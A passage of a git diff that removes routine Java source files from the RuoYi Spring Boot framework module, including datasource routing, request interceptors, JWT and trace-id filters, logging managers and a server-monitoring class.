datasource.setTestOnReturn(testOnReturn); - return datasource; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/WhitelistProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/WhitelistProperties.java deleted file mode 100644 index 91bf90e..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/WhitelistProperties.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.ruoyi.framework.config.properties; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.context.annotation.Configuration; - -import java.util.List; - -@Configuration -@ConfigurationProperties("ruoyi") -public class WhitelistProperties { - private List Whitelist; - - public List getWhitelist() { - return Whitelist; - } - - public void setWhitelist(List whitelist) { - Whitelist = whitelist; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java deleted file mode 100644 index 2a35423..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.ruoyi.framework.datasource; - -import java.util.Map; -import javax.sql.DataSource; - -import com.ruoyi.common.enums.DataSourceType; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; - -/** - * 动态数据源 - * - * @author ruoyi - */ -public class DynamicDataSource extends AbstractRoutingDataSource -{ - public DynamicDataSource(DataSource defaultTargetDataSource, Map targetDataSources) - { - super.setDefaultTargetDataSource(defaultTargetDataSource); - super.setTargetDataSources(targetDataSources); - super.afterPropertiesSet(); - } - - @Override - protected Object determineCurrentLookupKey() - { - Object object = DynamicDataSourceContextHolder.getDataSourceType(); - if(object == null){ - return DataSourceType.MASTER.name(); - }else { - return object; - } - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java deleted file mode 100644 index 3572db9..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.ruoyi.framework.datasource; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * 数据源切换处理 - * - * @author ruoyi - */ -public class DynamicDataSourceContextHolder -{ - public static final Logger log = LoggerFactory.getLogger(DynamicDataSourceContextHolder.class); - - /** - * 使用ThreadLocal维护变量,ThreadLocal为每个使用该变量的线程提供独立的变量副本, - * 所以每一个线程都可以独立地改变自己的副本,而不会影响其它线程所对应的副本。 - */ - private static final ThreadLocal CONTEXT_HOLDER = new ThreadLocal<>(); - - /** - * 设置数据源的变量 - */ - public static void setDataSourceType(String dsType) - { - log.info("切换到{}数据源", dsType); - CONTEXT_HOLDER.set(dsType); - } - - /** - * 获得数据源的变量 - */ - public static String getDataSourceType() - { - return CONTEXT_HOLDER.get(); - } - - /** - * 清空数据源变量 - */ - public static void clearDataSourceType() - { - CONTEXT_HOLDER.remove(); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/init/CommonInit.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/init/CommonInit.java deleted file mode 100644 index 6f62f96..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/init/CommonInit.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.ruoyi.framework.init; - -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; -import org.springframework.stereotype.Component; - -import javax.annotation.PostConstruct; -import java.io.File; -import java.io.FileNotFoundException; -import java.io.RandomAccessFile; -import java.nio.charset.StandardCharsets; -import java.util.ArrayList; -import java.util.List; -import java.util.concurrent.CompletableFuture; - -@Component -public class CommonInit { - public static List names = new ArrayList<>(); - @Autowired - private ThreadPoolTaskExecutor threadPoolTaskExecutor; - @PostConstruct - public void init() { -// CompletableFuture.runAsync(() -> { -// try { -// RandomAccessFile randomAccessFile = new RandomAccessFile(new File("D:\\myprojects\\yuyue\\RuoYi-Vue\\ruoyi-admin\\src\\main\\resources\\English_Cn_Name_Corpus.txt"), "r"); -// String len = ""; -// while ((len = randomAccessFile.readLine()) != null) { -// if (StringUtils.isNotEmpty(len)) { -// CommonInit.names.add(new String(len.getBytes(StandardCharsets.ISO_8859_1),StandardCharsets.UTF_8)); -// } -// } -// randomAccessFile.close(); -// } catch (Exception e) { -// e.printStackTrace(); -// } -// -// }, threadPoolTaskExecutor); - } - public void test(){ - - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AccessLimiterInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AccessLimiterInterceptor.java deleted file mode 100644 index 2e20cab..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AccessLimiterInterceptor.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.ruoyi.framework.interceptor; - -import com.ruoyi.common.annotation.AccessLimit; -import com.ruoyi.common.exception.BaseException; -import com.ruoyi.common.redis.RedisUtil; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Component; -import org.springframework.web.method.HandlerMethod; -import org.springframework.web.servlet.HandlerInterceptor; - -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Method; -import java.util.Objects; -import java.util.concurrent.TimeUnit; - -import lombok.extern.slf4j.Slf4j; -@Slf4j -@Component -public class AccessLimiterInterceptor implements HandlerInterceptor { - @Autowired - private RedisUtil redisUtil; - @Override - public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { - //如果不是映射到方法直接放行 - if (!(handler instanceof HandlerMethod)){ - return true; - } - HandlerMethod handlerMethod = (HandlerMethod) handler; - Method method = handlerMethod.getMethod(); - // 是否有AccessLimit注解 - if (!method.isAnnotationPresent(AccessLimit.class)){ - return true; - } - AccessLimit accessLimit = method.getAnnotation(AccessLimit.class); - int maxCount = accessLimit.maxCount(); - int second = accessLimit.second(); - // 存储key - String key = request.getRemoteAddr() + ":" + request.getContextPath() + ":" + request.getServletPath(); - // 已经访问次数 - String countStr = redisUtil.get(key); - if (Objects.isNull(countStr)){ - redisUtil.set(key, "1", Long.getLong(second+""), TimeUnit.SECONDS); - return true; - } - int count = Integer.parseInt(countStr); - if (count < maxCount){ - redisUtil.setIncr(key, 1); - return true; - } - throw new BaseException("请求次数已达上限"); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java deleted file mode 100644 index 17d607f..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java +++ /dev/null @@ -1,55 +0,0 @@ -package com.ruoyi.framework.interceptor; - -import java.lang.reflect.Method; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.springframework.stereotype.Component; -import org.springframework.web.method.HandlerMethod; -import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.annotation.RepeatSubmit; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.utils.ServletUtils; - -/** - * 防止重复提交拦截器 - * - * @author ruoyi - */ -@Component -public abstract class RepeatSubmitInterceptor extends HandlerInterceptorAdapter -{ - @Override - public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception - { - if (handler instanceof HandlerMethod) - { - HandlerMethod handlerMethod = (HandlerMethod) handler; - Method method = handlerMethod.getMethod(); - RepeatSubmit annotation = method.getAnnotation(RepeatSubmit.class); - if (annotation != null) - { - if (this.isRepeatSubmit(request)) - { - AjaxResult ajaxResult = AjaxResult.error("不允许重复提交,请稍后再试"); - ServletUtils.renderString(response, JSONObject.toJSONString(ajaxResult)); - return false; - } - } - return true; - } - else - { - return super.preHandle(request, response, handler); - } - } - - /** - * 验证是否重复提交由子类实现具体的防重复提交的规则 - * - * @param request - * @return - * @throws Exception - */ - public abstract boolean isRepeatSubmit(HttpServletRequest request); -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java deleted file mode 100644 index a9d0a54..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java +++ /dev/null @@ -1,125 +0,0 @@ -package com.ruoyi.framework.interceptor.impl; - -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.TimeUnit; -import javax.servlet.http.HttpServletRequest; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Component; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.core.redis.RedisCache; -import com.ruoyi.common.filter.RepeatedlyRequestWrapper; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.http.HttpHelper; -import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; - -/** - * 判断请求url和数据是否和上一次相同, - * 如果和上次相同,则是重复提交表单。 有效时间为10秒内。 - * - * @author ruoyi - */ -@Component -public class SameUrlDataInterceptor extends RepeatSubmitInterceptor -{ - public final String REPEAT_PARAMS = "repeatParams"; - - public final String REPEAT_TIME = "repeatTime"; - - // 令牌自定义标识 - @Value("${token.header}") - private String header; - - @Autowired - private RedisCache redisCache; - - /** - * 间隔时间,单位:秒 默认10秒 - * - * 两次相同参数的请求,如果间隔时间大于该参数,系统不会认定为重复提交的数据 - */ - private int intervalTime = 10; - - public void setIntervalTime(int intervalTime) - { - this.intervalTime = intervalTime; - } - - @SuppressWarnings("unchecked") - @Override - public boolean isRepeatSubmit(HttpServletRequest request) - { - String nowParams = ""; - if (request instanceof RepeatedlyRequestWrapper) - { - RepeatedlyRequestWrapper repeatedlyRequest = (RepeatedlyRequestWrapper) request; - nowParams = HttpHelper.getBodyString(repeatedlyRequest); - } - - // body参数为空,获取Parameter的数据 - if (StringUtils.isEmpty(nowParams)) - { - nowParams = JSONObject.toJSONString(request.getParameterMap()); - } - Map nowDataMap = new HashMap(); - nowDataMap.put(REPEAT_PARAMS, nowParams); - nowDataMap.put(REPEAT_TIME, System.currentTimeMillis()); - - // 请求地址(作为存放cache的key值) - String url = request.getRequestURI(); - - // 唯一值(没有消息头则使用请求地址) - String submitKey = request.getHeader(header); - if (StringUtils.isEmpty(submitKey)) - { - submitKey = url; - } - - // 唯一标识(指定key + 消息头) - String cache_repeat_key = Constants.REPEAT_SUBMIT_KEY + submitKey; - - Object sessionObj = redisCache.getCacheObject(cache_repeat_key); - if (sessionObj != null) - { - Map sessionMap = (Map) sessionObj; - if (sessionMap.containsKey(url)) - { - Map preDataMap = (Map) sessionMap.get(url); - if (compareParams(nowDataMap, preDataMap) && compareTime(nowDataMap, preDataMap)) - { - return true; - } - } - } - Map cacheMap = new HashMap(); - cacheMap.put(url, nowDataMap); - redisCache.setCacheObject(cache_repeat_key, cacheMap, intervalTime, TimeUnit.SECONDS); - return false; - } - - /** - * 判断参数是否相同 - */ - private boolean compareParams(Map nowMap, Map preMap) - { - String nowParams = (String) nowMap.get(REPEAT_PARAMS); - String preParams = (String) preMap.get(REPEAT_PARAMS); - return nowParams.equals(preParams); - } - - /** - * 判断两次间隔时间 - */ - private boolean compareTime(Map nowMap, Map preMap) - { - long time1 = (Long) nowMap.get(REPEAT_TIME); - long time2 = (Long) preMap.get(REPEAT_TIME); - if ((time1 - time2) < (this.intervalTime * 1000)) - { - return true; - } - return false; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java deleted file mode 100644 index 7387a02..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java +++ /dev/null @@ -1,55 +0,0 @@ -package com.ruoyi.framework.manager; - -import java.util.TimerTask; -import java.util.concurrent.ScheduledExecutorService; -import java.util.concurrent.TimeUnit; -import com.ruoyi.common.utils.Threads; -import com.ruoyi.common.utils.spring.SpringUtils; - -/** - * 异步任务管理器 - * - * @author ruoyi - */ -public class AsyncManager -{ - /** - * 操作延迟10毫秒 - */ - private final int OPERATE_DELAY_TIME = 10; - - /** - * 异步操作任务调度线程池 - */ - private ScheduledExecutorService executor = SpringUtils.getBean("scheduledExecutorService"); - - /** - * 单例模式 - */ - private AsyncManager(){} - - private static AsyncManager me = new AsyncManager(); - - public static AsyncManager me() - { - return me; - } - - /** - * 执行任务 - * - * @param task 任务 - */ - public void execute(TimerTask task) - { - executor.schedule(task, OPERATE_DELAY_TIME, TimeUnit.MILLISECONDS); - } - - /** - * 停止任务线程池 - */ - public void shutdown() - { - Threads.shutdownAndAwaitTermination(executor); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java deleted file mode 100644 index e36ca3c..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.ruoyi.framework.manager; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.stereotype.Component; -import javax.annotation.PreDestroy; - -/** - * 确保应用退出时能关闭后台线程 - * - * @author ruoyi - */ -@Component -public class ShutdownManager -{ - private static final Logger logger = LoggerFactory.getLogger("sys-user"); - - @PreDestroy - public void destroy() - { - shutdownAsyncManager(); - } - - /** - * 停止异步执行任务 - */ - private void shutdownAsyncManager() - { - try - { - logger.info("====关闭后台任务任务线程池===="); - AsyncManager.me().shutdown(); - } - catch (Exception e) - { - logger.error(e.getMessage(), e); - } - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java deleted file mode 100644 index 17a8f40..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java +++ /dev/null @@ -1,101 +0,0 @@ -package com.ruoyi.framework.manager.factory; - -import java.util.TimerTask; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.utils.LogUtils; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.ip.AddressUtils; -import com.ruoyi.common.utils.ip.IpUtils; -import com.ruoyi.common.utils.spring.SpringUtils; -import com.ruoyi.system.domain.SysLogininfor; -import com.ruoyi.system.domain.SysOperLog; -import com.ruoyi.system.service.ISysLogininforService; -import com.ruoyi.system.service.ISysOperLogService; -import eu.bitwalker.useragentutils.UserAgent; - -/** - * 异步工厂(产生任务用) - * - * @author ruoyi - */ -public class AsyncFactory -{ - private static final Logger sys_user_logger = LoggerFactory.getLogger("sys-user"); - - /** - * 记录登录信息 - * - * @param username 用户名 - * @param status 状态 - * @param message 消息 - * @param args 列表 - * @return 任务task - */ - public static TimerTask recordLogininfor(final String username, final String status, final String message, - final Object... args) - { - final UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); - final String ip = IpUtils.getIpAddr(ServletUtils.getRequest()); - return new TimerTask() - { - @Override - public void run() - { - String address = AddressUtils.getRealAddressByIP(ip); - StringBuilder s = new StringBuilder(); - s.append(LogUtils.getBlock(ip)); - s.append(address); - s.append(LogUtils.getBlock(username)); - s.append(LogUtils.getBlock(status)); - s.append(LogUtils.getBlock(message)); - // 打印信息到日志 - sys_user_logger.info(s.toString(), args); - // 获取客户端操作系统 - String os = userAgent.getOperatingSystem().getName(); - // 获取客户端浏览器 - String browser = userAgent.getBrowser().getName(); - // 封装对象 - SysLogininfor logininfor = new SysLogininfor(); - logininfor.setUserName(username); - logininfor.setIpaddr(ip); - logininfor.setLoginLocation(address); - logininfor.setBrowser(browser); - logininfor.setOs(os); - logininfor.setMsg(message); - // 日志状态 - if (Constants.LOGIN_SUCCESS.equals(status) || Constants.LOGOUT.equals(status)) - { - logininfor.setStatus(Constants.SUCCESS); - } - else if (Constants.LOGIN_FAIL.equals(status)) - { - logininfor.setStatus(Constants.FAIL); - } - // 插入数据 - SpringUtils.getBean(ISysLogininforService.class).insertLogininfor(logininfor); - } - }; - } - - /** - * 操作日志记录 - * - * @param operLog 操作日志信息 - * @return 任务task - */ - public static TimerTask recordOper(final SysOperLog operLog) - { - return new TimerTask() - { - @Override - public void run() - { - // 远程查询操作地点 - operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp())); - SpringUtils.getBean(ISysOperLogService.class).insertOperlog(operLog); - } - }; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java deleted file mode 100644 index a9ebbaf..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.ruoyi.framework.security.filter; - -import java.io.IOException; -import javax.servlet.FilterChain; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; -import org.springframework.security.core.context.SecurityContextHolder; -import org.springframework.security.web.authentication.WebAuthenticationDetailsSource; -import org.springframework.stereotype.Component; -import org.springframework.web.filter.OncePerRequestFilter; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.framework.web.service.TokenService; - -/** - * token过滤器 验证token有效性 - * - * @author ruoyi - */ -@Component -public class JwtAuthenticationTokenFilter extends OncePerRequestFilter -{ - @Autowired - private TokenService tokenService; - - @Override - protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) - throws ServletException, IOException - { - String uri=request.getRequestURI(); - - - // OAuth2接口不要走JWT - if(uri.startsWith("/oauth/") - || uri.startsWith("/openapi/")){ - chain.doFilter( - request, - response - ); - return; - } - LoginUser loginUser = tokenService.getLoginUser(request); - if (StringUtils.isNotNull(loginUser) && StringUtils.isNull(SecurityUtils.getAuthentication())) - { - tokenService.verifyToken(loginUser); - UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(loginUser, null, loginUser.getAuthorities()); - authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request)); - SecurityContextHolder.getContext().setAuthentication(authenticationToken); - } - chain.doFilter(request, response); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/TraceIdFilter.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/TraceIdFilter.java deleted file mode 100644 index b5ace9e..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/TraceIdFilter.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.ruoyi.framework.security.filter; - -import com.ruoyi.common.utils.uuid.UUID; -import lombok.extern.slf4j.Slf4j; -import org.slf4j.MDC; -import org.springframework.stereotype.Component; -import org.springframework.web.filter.OncePerRequestFilter; - -import javax.servlet.FilterChain; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -@Slf4j - -@Component -public class TraceIdFilter extends OncePerRequestFilter { - - private static final String TRACE_ID = "traceId"; - private static final String TRACE_ID_HEADER = "X-Trace-Id"; - - @Override - protected void doFilterInternal( - HttpServletRequest request, - HttpServletResponse response, - FilterChain filterChain) - throws ServletException, IOException { - - String traceId = request.getHeader(TRACE_ID_HEADER); - if (traceId == null || traceId.isEmpty()) { - traceId = UUID.randomUUID() - .toString() - .replace("-", ""); - } - - long start = System.currentTimeMillis(); - - try { - MDC.put(TRACE_ID, traceId); - response.setHeader(TRACE_ID_HEADER, traceId); - filterChain.doFilter(request, response); - - } finally { - long cost = System.currentTimeMillis() - start; - log.info("HTTP {} {} status={} cost={}ms", - request.getMethod(), - request.getRequestURI(), - response.getStatus(), - cost); - MDC.remove(TRACE_ID); - } - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java deleted file mode 100644 index c22dd32..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.ruoyi.framework.security.handle; - -import java.io.IOException; -import java.io.Serializable; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.springframework.security.core.AuthenticationException; -import org.springframework.security.web.AuthenticationEntryPoint; -import org.springframework.stereotype.Component; -import com.alibaba.fastjson.JSON; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; - -/** - * 认证失败处理类 返回未授权 - * - * @author ruoyi - */ -@Component -public class AuthenticationEntryPointImpl implements AuthenticationEntryPoint, Serializable -{ - private static final long serialVersionUID = -8970718410437077606L; - - @Override - public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException e) - throws IOException - { - int code = HttpStatus.UNAUTHORIZED; - String msg = StringUtils.format("请求访问:{},认证失败,无法访问系统资源", request.getRequestURI()); - ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.error(code, msg))); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java deleted file mode 100644 index e5fc11d..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.ruoyi.framework.security.handle; - -import java.io.IOException; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Configuration; -import org.springframework.security.core.Authentication; -import org.springframework.security.web.authentication.logout.LogoutSuccessHandler; -import com.alibaba.fastjson.JSON; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.framework.manager.AsyncManager; -import com.ruoyi.framework.manager.factory.AsyncFactory; -import com.ruoyi.framework.web.service.TokenService; - -/** - * 自定义退出处理类 返回成功 - * - * @author ruoyi - */ -@Configuration -public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler -{ - @Autowired - private TokenService tokenService; - - /** - * 退出处理 - * - * @return - */ - @Override - public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) - throws IOException, ServletException - { - LoginUser loginUser = tokenService.getLoginUser(request); - if (StringUtils.isNotNull(loginUser)) - { - String userName = loginUser.getUsername(); - // 删除用户缓存记录 - tokenService.delLoginUser(loginUser.getToken()); - // 记录用户退出日志 - AsyncManager.me().execute(AsyncFactory.recordLogininfor(userName, Constants.LOGOUT, "退出成功")); - } - ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.error(HttpStatus.SUCCESS, "退出成功"))); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java deleted file mode 100644 index 63b03da..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java +++ /dev/null @@ -1,240 +0,0 @@ -package com.ruoyi.framework.web.domain; - -import java.net.UnknownHostException; -import java.util.LinkedList; -import java.util.List; -import java.util.Properties; -import com.ruoyi.common.utils.Arith; -import com.ruoyi.common.utils.ip.IpUtils; -import com.ruoyi.framework.web.domain.server.Cpu; -import com.ruoyi.framework.web.domain.server.Jvm; -import com.ruoyi.framework.web.domain.server.Mem; -import com.ruoyi.framework.web.domain.server.Sys; -import com.ruoyi.framework.web.domain.server.SysFile; -import oshi.SystemInfo; -import oshi.hardware.CentralProcessor; -import oshi.hardware.CentralProcessor.TickType; -import oshi.hardware.GlobalMemory; -import oshi.hardware.HardwareAbstractionLayer; -import oshi.software.os.FileSystem; -import oshi.software.os.OSFileStore; -import oshi.software.os.OperatingSystem; -import oshi.util.Util; - -/** - * 服务器相关信息 - * - * @author ruoyi - */ -public class Server -{ - private static final int OSHI_WAIT_SECOND = 1000; - - /** - * CPU相关信息 - */ - private Cpu cpu = new Cpu(); - - /** - * 內存相关信息 - */ - private Mem mem = new Mem(); - - /** - * JVM相关信息 - */ - private Jvm jvm = new Jvm(); - - /** - * 服务器相关信息 - */ - private Sys sys = new Sys(); - - /** - * 磁盘相关信息 - */ - private List sysFiles = new LinkedList(); - - public Cpu getCpu() - { - return cpu; - } - - public void setCpu(Cpu cpu) - { - this.cpu = cpu; - } - - public Mem getMem() - { - return mem; - } - - public void setMem(Mem mem) - { - this.mem = mem; - } - - public Jvm getJvm() - { - return jvm; - } - - public void setJvm(Jvm jvm) - { - this.jvm = jvm; - } - - public Sys getSys() - { - return sys; - } - - public void setSys(Sys sys) - { - this.sys = sys; - } - - public List getSysFiles() - { - return sysFiles; - } - - public void setSysFiles(List sysFiles) - { - this.sysFiles = sysFiles; - } - - public void copyTo() throws Exception - { - SystemInfo si = new SystemInfo(); - HardwareAbstractionLayer hal = si.getHardware(); - - setCpuInfo(hal.getProcessor()); - - setMemInfo(hal.getMemory()); - - setSysInfo(); - - setJvmInfo(); - - setSysFiles(si.getOperatingSystem()); - } - - /** - * 设置CPU信息 - */ - private void setCpuInfo(CentralProcessor processor) - { - // CPU信息 - long[] prevTicks = processor.getSystemCpuLoadTicks(); - Util.sleep(OSHI_WAIT_SECOND); - long[] ticks = processor.getSystemCpuLoadTicks(); - long nice = ticks[TickType.NICE.getIndex()] - prevTicks[TickType.NICE.getIndex()]; - long irq = ticks[TickType.IRQ.getIndex()] - prevTicks[TickType.IRQ.getIndex()]; - long softirq = ticks[TickType.SOFTIRQ.getIndex()] - prevTicks[TickType.SOFTIRQ.getIndex()]; - long steal = ticks[TickType.STEAL.getIndex()] - prevTicks[TickType.STEAL.getIndex()]; - long cSys = ticks[TickType.SYSTEM.getIndex()] - prevTicks[TickType.SYSTEM.getIndex()]; - long user = ticks[TickType.USER.getIndex()] - prevTicks[TickType.USER.getIndex()]; - long iowait = ticks[TickType.IOWAIT.getIndex()] - prevTicks[TickType.IOWAIT.getIndex()]; - long idle = ticks[TickType.IDLE.getIndex()] - prevTicks[TickType.IDLE.getIndex()]; - long totalCpu = user + nice + cSys + idle + iowait + irq + softirq + steal; - cpu.setCpuNum(processor.getLogicalProcessorCount()); - cpu.setTotal(totalCpu); - cpu.setSys(cSys); - cpu.setUsed(user); - cpu.setWait(iowait); - cpu.setFree(idle); - } - - /** - * 设置内存信息 - */ - private void setMemInfo(GlobalMemory memory) - { - mem.setTotal(memory.getTotal()); - mem.setUsed(memory.getTotal() - memory.getAvailable()); - mem.setFree(memory.getAvailable()); - } - - /** - * 设置服务器信息 - */ - private void setSysInfo() - { - Properties props = System.getProperties(); - sys.setComputerName(IpUtils.getHostName()); - sys.setComputerIp(IpUtils.getHostIp()); - sys.setOsName(props.getProperty("os.name")); - sys.setOsArch(props.getProperty("os.arch")); - sys.setUserDir(props.getProperty("user.dir")); - } - - /** - * 设置Java虚拟机 - */ - private void setJvmInfo() throws UnknownHostException - { - Properties props = System.getProperties(); - jvm.setTotal(Runtime.getRuntime().totalMemory()); - jvm.setMax(Runtime.getRuntime().maxMemory()); - jvm.setFree(Runtime.getRuntime().freeMemory()); - jvm.setVersion(props.getProperty("java.version")); - jvm.setHome(props.getProperty("java.home")); - } - - /** - * 设置磁盘信息 - */ - private void setSysFiles(OperatingSystem os) - { - FileSystem fileSystem = os.getFileSystem(); - List fsArray = fileSystem.getFileStores(); - for (OSFileStore fs : fsArray) - { - long free = fs.getUsableSpace(); - long total = fs.getTotalSpace(); - long used = total - free; - SysFile sysFile = new SysFile(); - sysFile.setDirName(fs.getMount()); - sysFile.setSysTypeName(fs.getType()); - sysFile.setTypeName(fs.getName()); - sysFile.setTotal(convertFileSize(total)); - sysFile.setFree(convertFileSize(free)); - sysFile.setUsed(convertFileSize(used)); - sysFile.setUsage(Arith.mul(Arith.div(used, total, 4), 100)); - sysFiles.add(sysFile); - } - } - - /** - * 字节转换 - * - * @param size 字节大小 - * @return 转换后值 - */ - public String convertFileSize(long size) - { - long kb = 1024; - long mb = kb * 1024; - long gb = mb * 1024; - if (size >= gb) - { - return String.format("%.1f GB", (float) size / gb); - } - else if (size >= mb) - { - float f = (float) size / mb; - return String.format(f > 100 ? "%.0f MB" : "%.1f MB", f); - } - else if (size >= kb) - { - float f = (float) size / kb; - return String.format(f > 100 ? "%.0f KB" : "%.1f KB", f); - } - else - { - return String.format("%d B", size); - } - } -} diff --git 